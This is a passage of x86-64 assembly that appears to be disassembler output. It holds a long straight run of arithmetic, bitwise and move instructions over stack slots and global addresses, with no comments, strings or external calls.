mov rcx, qword [rsp + 0xaee0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bf9c], ax
mov eax, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x48c8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb940]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb740]
mov ecx, dword [rsp + 0x4438]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48f4], eax
mov eax, dword [rsp + 0x4c48]
mov dword [rsp + 0x4d24], eax
mov eax, dword [rsp + 0x4614]
mov ecx, dword [rsp + 0x4b78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c0], eax
lea rax, [rsp + 0x103c]
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xadb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcbc8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0xb6c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1104]
sub eax, ecx
mov rcx, qword [rsp + 0xa5d0]
mov word [rcx], ax
lea rax, str.Sb
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xc660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b78]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c0a8], eax
mov rax, qword [rsp + 0xc4e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4490]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47f8], eax
movzx eax, word [0x14019c024]
mov word [rsp + 0x139c], ax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0xb968]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x200], al
lea rax, [rsp + 0x41dc]
mov qword [rsp + 0xcff8], rax
mov rax, qword [rsp + 0xbf80]
mov rcx, qword [rsp + 0xace0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0xccd0]
mov rcx, qword [rsp + 0xc6e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4d0c], eax
lea rax, [rsp + 0x4824]
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xb5d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x267]
xor eax, ecx
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0xc110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfb0]
shl eax, cl
mov word [0x14019d958], ax
mov rax, qword [rsp + 0xc058]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc088]
mov qword [rsp + 0xd008], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd008]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x34ec], eax
mov rax, qword [rsp + 0xbdc0]
mov rcx, qword [rsp + 0xbda0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb740]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4550]
mov ecx, dword [rsp + 0x4b0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4270], eax
mov eax, dword [0x14019df40]
mov dword [rsp + 0x4d28], eax
mov rax, qword [rsp + 0xc428]
mov ecx, dword [rsp + 0x4804]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x42a0], eax
movzx eax, byte [rsp + 0x25b]
mov byte [rsp + 0x292], al
movsx eax, word [rsp + 0x115c]
mov rcx, qword [rsp + 0xc2b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1194], ax
movzx eax, byte [rsp + 0x10d]
mov rcx, qword [rsp + 0xc638]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0xb010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x124c]
sub eax, ecx
mov rcx, qword [0x14019d8f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa708]
mov eax, dword [rax]
mov dword [rsp + 0x4d2c], eax
mov rax, qword [rsp + 0xacc8]
mov ecx, dword [rsp + 0x3f5c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4360], eax
lea rax, [rsp + 0xf50]
mov qword [rsp + 0xd010], rax
movzx eax, byte [rsp + 0x151]
movzx ecx, byte [rsp + 0x20f]
add eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb970]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbc48]
mov dword [rcx], eax
mov eax, dword [rsp + 0x45a0]
mov dword [rsp + 0x4d30], eax
mov rax, qword [0x14019d7d8]
mov ecx, dword [rsp + 0x4624]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4644], eax
mov eax, dword [rsp + 0x4a24]
mov dword [rsp + 0x4d34], eax
lea rax, [rsp + 0x17d]
mov qword [0x14019df48], rax
movzx eax, word [rsp + 0x1198]
movzx ecx, word [0x14019de20]
sub eax, ecx
mov rcx, qword [rsp + 0xc850]
mov word [rcx], ax
mov rax, qword [rsp + 0xce20]
mov eax, dword [rax]
mov dword [rsp + 0x4d38], eax
mov rax, qword [rsp + 0xca10]
mov rcx, qword [rsp + 0xb350]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3ce4], eax
mov rax, qword [rsp + 0xaa70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10f4]
xor eax, ecx
mov rcx, qword [rsp + 0xba28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1fa]
mov byte [rsp + 0x293], al
mov rax, qword [rsp + 0xb958]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1160], ax
movzx eax, byte [0x14019bf6e]
mov byte [rsp + 0x294], al
mov eax, dword [rsp + 0x4250]
movzx ecx, al
mov eax, dword [rsp + 0x4648]
shr eax, cl
mov dword [rsp + 0x492c], eax
mov eax, dword [rsp + 0x4b64]
mov ecx, dword [rsp + 0x3d74]
and ecx, eax
mov eax, ecx
mov dword [0x14019c0ac], eax
mov rax, qword [0x14019da40]
mov ecx, dword [rsp + 0x429c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4960], eax
mov eax, dword [rsp + 0x4794]
mov dword [rsp + 0x4d3c], eax
mov rax, qword [rsp + 0xcd78]
mov rcx, qword [rsp + 0xaf30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x43cc], eax
lea rax, [rsp + 0x1064]
mov qword [rsp + 0xd018], rax
movzx eax, byte [rsp + 0x22a]
movzx ecx, byte [rsp + 0x250]
and eax, ecx
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0xcdd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41dc], eax
lea rax, [0x14019dd80]
mov qword [rsp + 0xd020], rax
mov rax, qword [rsp + 0xb0c0]
mov ecx, dword [rsp + 0x4a68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37c0], eax
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x4c58]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019df40], eax
movzx eax, word [rsp + 0x1028]
mov rcx, qword [rsp + 0xbe08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xdb4], ax
movzx eax, byte [rsp + 0x237]
mov rcx, qword [rsp + 0xbfd8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
movsx eax, word [0x14019bf04]
movsx ecx, word [rsp + 0xfc8]
sar eax, cl
mov word [rsp + 0x1054], ax
movzx eax, byte [rsp + 0x14a]
mov byte [rsp + 0x295], al
mov rax, qword [rsp + 0xbaf8]
mov rcx, qword [rsp + 0xc1a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4070], eax
mov eax, dword [0x14019c0a4]
mov dword [rsp + 0x4d40], eax
mov rax, qword [rsp + 0xada8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb178]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1048], ax
lea rax, [rsp + 0x18b]
mov qword [rsp + 0xd028], rax
mov eax, dword [0x14019d908]
movzx ecx, al
mov eax, dword [rsp + 0x450c]
shl eax, cl
mov dword [0x14019bfb8], eax
mov rax, qword [rsp + 0xcff8]
mov ecx, dword [rsp + 0x4928]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b64], eax
mov rax, qword [rsp + 0xb5e8]
mov rcx, qword [0x14019d808]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d34], eax
lea rax, [rsp + 0x4ba0]
mov qword [rsp + 0xd030], rax
mov rax, qword [rsp + 0xc620]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15b]
add eax, ecx
mov rcx, qword [rsp + 0xc5d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1050]
mov word [rsp + 0x13a0], ax
mov eax, dword [rsp + 0x4d0c]
mov ecx, dword [rsp + 0x4690]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb058]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3b8c]
mov ecx, dword [rsp + 0x45c4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4aa8], eax
lea rax, [rsp + 0x4468]
mov qword [rsp + 0xd038], rax
mov rax, qword [0x14019df28]
mov eax, dword [rax]
mov dword [0x14019df50], eax
mov rax, qword [rsp + 0xcad0]
mov rcx, qword [rsp + 0xc6b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x45fc], eax
movzx eax, word [rsp + 0x1340]
mov word [rsp + 0x13a4], ax
mov rax, qword [rsp + 0xaeb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x262]
sub eax, ecx
mov rcx, qword [rsp + 0xabd8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc968]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb80]
mov word [rcx], ax
mov rax, qword [rsp + 0xcfc8]
movzx eax, byte [rax]
mov byte [rsp + 0x296], al
mov rax, qword [rsp + 0xacc0]
mov ecx, dword [rsp + 0x46d8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc878]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb108]
mov eax, dword [rax]
mov dword [rsp + 0x4d44], eax
mov rax, qword [rsp + 0xc620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcf30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov byte [rcx], al
mov rax, qword [0x14019dac8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa448]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14019de30], ax
lea rax, [rsp + 0x4c18]
mov qword [rsp + 0xd040], rax
mov eax, dword [rsp + 0x49f0]
mov rcx, qword [rsp + 0xbf20]
mov qword [rsp + 0xd048], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd048]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4bb0], eax
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xa7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xb110]
mov dword [rcx], eax
lea rax, [rsp + 0x3d38]
mov qword [rsp + 0xd050], rax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x168]
or eax, ecx
mov byte [rsp + 0x157], al
lea rax, [rsp + 0x105c]
mov qword [rsp + 0xd058], rax
mov eax, dword [rsp + 0x4af8]
mov ecx, dword [rsp + 0x4490]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x47a4], eax
mov rax, qword [rsp + 0xbb60]
mov ecx, dword [0x14019bfbc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x42e8], eax
lea rax, [rsp + 0x10ac]
mov qword [0x14019df58], rax
lea rax, [rsp + 0x16f]
mov qword [rsp + 0xd060], rax
mov rax, qword [rsp + 0xc450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x25f], al
lea rax, [0x14019c02c]
mov qword [rsp + 0xd068], rax
mov eax, dword [rsp + 0x4918]
mov ecx, dword [rsp + 0x4bd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb658]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcab8]
mov ecx, dword [rsp + 0x3bfc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4b84], eax
lea rax, [0x14019c090]
mov qword [rsp + 0xd070], rax
mov rax, qword [rsp + 0xc6f8]
mov ecx, dword [rsp + 0x4c2c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbc38]
mov dword [rcx], eax
lea rax, [rsp + 0x49b4]
mov qword [rsp + 0xd078], rax
mov rax, qword [rsp + 0xc328]
movzx eax, byte [rax]
mov rcx, qword [0x14019df30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x281], al
movzx eax, word [rsp + 0x101c]
mov rcx, qword [rsp + 0xb860]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14019bf6c], ax
mov eax, dword [0x14019dda0]
mov ecx, dword [rsp + 0x3f5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4af0], eax
mov rax, qword [rsp + 0xab80]
mov eax, dword [rax]
mov dword [rsp + 0x4d48], eax
mov eax, dword [rsp + 0x47b8]
mov ecx, dword [rsp + 0x46b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4708], eax
mov rax, qword [rsp + 0xbc20]
mov eax, dword [rax]
mov dword [rsp + 0x4d4c], eax
movzx eax, word [0x14019c030]
mov rcx, qword [rsp + 0xad50]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa8c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ae]
movzx ecx, byte [rsp + 0x14e]
shl eax, cl
mov byte [rsp + 0xdd], al
movsx eax, byte [rsp + 0x67]
movsx ecx, byte [rsp + 0x219]
xor eax, ecx
mov byte [rsp + 0x24a], al
movsx eax, word [rsp + 0x1284]
movsx ecx, word [rsp + 0x1358]
cdq
idiv ecx
mov rcx, qword [rsp + 0xa5f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4afc]
shr eax, cl
mov dword [0x14019c0b0], eax
mov eax, dword [0x14019c040]
mov dword [rsp + 0x4d50], eax
movzx eax, byte [rsp + 0x25f]
mov rcx, qword [rsp + 0xcab0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0xc728]
movzx eax, word [rax]
mov word [rsp + 0x13a8], ax
mov rax, qword [0x14019ddf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4470]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc658]
mov dword [rcx], eax
mov eax, dword [rsp + 0x422c]
mov ecx, dword [rsp + 0x48d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc0d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x47f8]
mov dword [rsp + 0x4d54], eax
mov rax, qword [0x14019df08]
mov rcx, qword [rsp + 0xc128]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbd50]
mov dword [rcx], eax
lea rax, [rsp + 0x1398]
mov qword [rsp + 0xd080], rax
mov rax, qword [rsp + 0xc290]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcce0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14019bfd3], al
mov rax, qword [rsp + 0xa888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4994], eax
mov eax, dword [rsp + 0x436c]
mov ecx, dword [rsp + 0x4738]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc348]
mov dword [rcx], eax
lea rax, [rsp + 0x4d48]
mov qword [rsp + 0xd088], rax
mov rax, qword [rsp + 0xcbf0]
mov eax, dword [rax]
mov ecx, dword [0x14019df40]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc990]
mov eax, dword [rax]
mov dword [rsp + 0x4d58], eax
mov rax, qword [rsp + 0xb180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a1]
add eax, ecx
mov rcx, qword [rsp + 0xc948]
mov byte [rcx], al
lea rax, [rsp + 0x12e8]
mov qword [rsp + 0xd090], rax
movzx eax, word [rsp + 0x1244]
mov rcx, qword [rsp + 0xb5e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1348], ax
movzx eax, byte [rsp + 0x23f]
movzx ecx, byte [rsp + 0x286]
shl eax, cl
mov byte [0x14019bf0a], al
mov rax, qword [rsp + 0xbd78]
mov ecx, dword [rsp + 0x486c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4aa4], eax
mov eax, dword [rsp + 0x3d3c]
mov dword [rsp + 0x4d5c], eax
mov rax, qword [rsp + 0xc5f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x27a]
xor eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0xbbb0]
movzx eax, word [rax]
mov word [rsp + 0x13ac], ax
mov rax, qword [rsp + 0xba10]
mov rcx, qword [rsp + 0xb378]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4804], eax
mov rax, qword [rsp + 0xc088]
mov ecx, dword [0x14019bf70]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x47a8], eax
lea rax, [rsp + 0x4c58]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0xb4f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x365c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c3c], eax
mov rax, qword [rsp + 0xc9f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa4f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019d7e4], al
mov rax, qword [rsp + 0xbc00]
movzx eax, word [rax]
mov word [rsp + 0x13b0], ax
mov eax, dword [rsp + 0x47b4]
mov ecx, dword [rsp + 0x3868]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6a8]
mov dword [rcx], eax
mov rax, qword [0x14019db40]
mov ecx, dword [rsp + 0x460c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ee8], eax
lea rax, [rsp + 0xc48]
mov qword [rsp + 0xd0a0], rax
movsx eax, byte [rsp + 0x1e4]
movsx ecx, byte [rsp + 0x20a]
sub eax, ecx
mov byte [rsp + 0x1b9], al
lea rax, [rsp + 0x1380]
mov qword [rsp + 0xd0a8], rax
mov rax, qword [rsp + 0xaa58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x171]
sub eax, ecx
mov rcx, qword [rsp + 0xb0c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae00]
mov rcx, qword [rsp + 0xc070]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc690]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb9b8]
mov eax, dword [rax]
mov dword [0x14019df60], eax
mov eax, dword [rsp + 0x49a4]
mov dword [rsp + 0x4d60], eax
mov eax, dword [rsp + 0x4cb4]
mov ecx, dword [rsp + 0x4988]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4230], eax
mov eax, dword [rsp + 0x4574]
mov ecx, dword [rsp + 0x47d4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ea0], eax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0xc800]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1e1], al
lea rax, [rsp + 0x131c]
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0xb808]
mov eax, dword [rax]
mov rcx, qword [0x14019dd28]
mov qword [rsp + 0xd0b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4acc], eax
mov rax, qword [rsp + 0xb468]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x485c]
shr eax, cl
mov rcx, qword [rsp + 0xbd28]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4680]
mov dword [rsp + 0x4d64], eax
mov eax, dword [rsp + 0x4bc4]
mov ecx, dword [rsp + 0x4884]
sub ecx, eax
mov eax, ecx
mov dword [0x14019c0b4], eax
movzx eax, word [rsp + 0x1204]
movzx ecx, word [rsp + 0x1308]
add eax, ecx
mov word [rsp + 0xf08], ax
lea rax, [rsp + 0x151]
mov qword [rsp + 0xd0c0], rax
movsx eax, word [rsp + 0xf74]
movsx ecx, word [rsp + 0x1140]
and eax, ecx
mov word [rsp + 0x1144], ax
movsx eax, byte [rsp + 0x1f3]
movsx ecx, byte [rsp + 0x1d7]
sub eax, ecx
mov rcx, qword [rsp + 0xc3b0]
mov byte [rcx], al
lea rax, [rsp + 0x4418]
mov qword [rsp + 0xd0c8], rax
mov rax, qword [rsp + 0xb9b8]
mov ecx, dword [rsp + 0x4bc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x417c], eax
movzx eax, word [rsp + 0x11e4]
mov word [rsp + 0x13b4], ax
mov rax, qword [rsp + 0xcfc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb568]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14019de48]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcdd8]
mov rcx, qword [rsp + 0xb8a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x48cc], eax
mov rax, qword [rsp + 0xa6e0]
mov eax, dword [rax]
mov dword [rsp + 0x4d68], eax
mov eax, dword [rsp + 0x4a6c]
mov ecx, dword [rsp + 0x4aec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4284], eax
lea rax, [rsp + 0xf00]
mov qword [rsp + 0xd0d0], rax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaba8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9a], al
mov eax, dword [rsp + 0x3a4c]
mov ecx, dword [rsp + 0x3cc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4480], eax
mov rax, qword [rsp + 0xb918]
mov eax, dword [rax]
mov dword [rsp + 0x4d6c], eax
mov rax, qword [rsp + 0xb858]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ffc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x454c], eax
lea rax, [rsp + 0x4b7c]
mov qword [0x14019df68], rax
mov rax, qword [rsp + 0xcc38]
mov eax, dword [rax]
mov dword [rsp + 0x4d70], eax
mov rax, qword [rsp + 0xa7d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x266]
shl eax, cl
mov rcx, qword [rsp + 0xb710]
mov byte [rcx], al
movzx eax, word [0x14019bf64]
mov word [rsp + 0x13b8], ax
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0xd0c0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x239], al
mov rax, qword [rsp + 0xb310]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb9e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x133c], ax
lea rax, [rsp + 0x44cc]
mov qword [rsp + 0xd0d8], rax
mov eax, dword [rsp + 0x3af4]
mov ecx, dword [rsp + 0x4ad0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcba0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x180]
mov byte [rsp + 0x297], al
movzx eax, word [0x14019c088]
movzx ecx, word [rsp + 0xbfc]
sub eax, ecx
mov word [0x14019c080], ax
mov rax, qword [rsp + 0xb040]
mov ecx, dword [rsp + 0x4590]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb090]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcb90]
mov ecx, dword [0x14019bf50]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbb60]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x4d74], eax
mov rax, qword [rsp + 0xc6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x454c], eax
mov rax, qword [rsp + 0xad68]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb64], ax
movzx eax, byte [rsp + 0x1d6]
movzx ecx, byte [rsp + 0x153]
add eax, ecx
mov byte [rsp + 0x264], al
mov rax, qword [rsp + 0xab78]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40e4], eax
lea rax, [rsp + 0x3f00]
mov qword [rsp + 0xd0e0], rax
lea rax, [rsp + 0x196]
mov qword [0x14019df70], rax
movsx eax, word [rsp + 0x11b4]
movsx ecx, word [rsp + 0xc94]
sub eax, ecx
mov word [rsp + 0x119c], ax
lea rax, [rsp + 0x1184]
mov qword [rsp + 0xd0e8], rax
mov rax, qword [rsp + 0xce18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ae]
xor eax, ecx
mov byte [rsp + 0x24f], al
lea rax, [rsp + 0x43dc]
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xabe0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc260]
mov qword [rsp + 0xd0f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4280], eax
mov rax, qword [rsp + 0xbe90]
mov ecx, dword [rsp + 0x37c0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4654], eax
lea rax, [rsp + 0x4ab8]
mov qword [rsp + 0xd100], rax
mov eax, dword [rsp + 0x4830]
movzx ecx, al
mov eax, dword [rsp + 0x4628]
sar eax, cl
mov dword [rsp + 0x36e4], eax
lea rax, [rsp + 0x236]
mov qword [rsp + 0xd108], rax
mov rax, qword [rsp + 0xb4d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1398]
and eax, ecx
mov rcx, qword [0x14019db10]
mov word [rcx], ax
mov rax, qword [rsp + 0xbca8]
mov eax, dword [rax]
mov ecx, dword [0x14019c038]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x46c0], eax
mov eax, dword [rsp + 0x46f8]
mov ecx, dword [rsp + 0x4300]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x47f8], eax
lea rax, [rsp + 0x43ac]
mov qword [rsp + 0xd110], rax
mov eax, dword [rsp + 0x4814]
mov ecx, dword [rsp + 0x36b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4464], eax
movzx eax, word [rsp + 0x1078]
mov word [rsp + 0x13bc], ax
movzx eax, byte [rsp + 0x1e8]
mov rcx, qword [rsp + 0xa890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27e], al
movsx eax, word [rsp + 0xfb4]
movsx ecx, word [rsp + 0x1194]
and eax, ecx
mov word [rsp + 0x1138], ax
lea rax, [rsp + 0x1f3]
mov qword [rsp + 0xd118], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcbb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14019c0a8], eax
mov rax, qword [rsp + 0xafc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4724]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc478]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1e6]
mov byte [rsp + 0x298], al
mov rax, qword [rsp + 0xaee0]
movzx eax, word [rax]
movzx ecx, word [0x14019d9f0]
add eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0xbb58]
mov rcx, qword [rsp + 0xcf78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x365c], eax
mov eax, dword [rsp + 0x42b4]
mov dword [rsp + 0x4d78], eax
mov eax, dword [0x14019bfbc]
mov rcx, qword [rsp + 0xb378]
mov qword [rsp + 0xd120], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd120]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xbf70]
mov dword [rcx], eax
mov eax, dword [rsp + 0x479c]
mov dword [rsp + 0x4d7c], eax
movzx eax, byte [rsp + 0x84]
mov rcx, qword [rsp + 0xc358]
movzx ecx, byte [rcx]
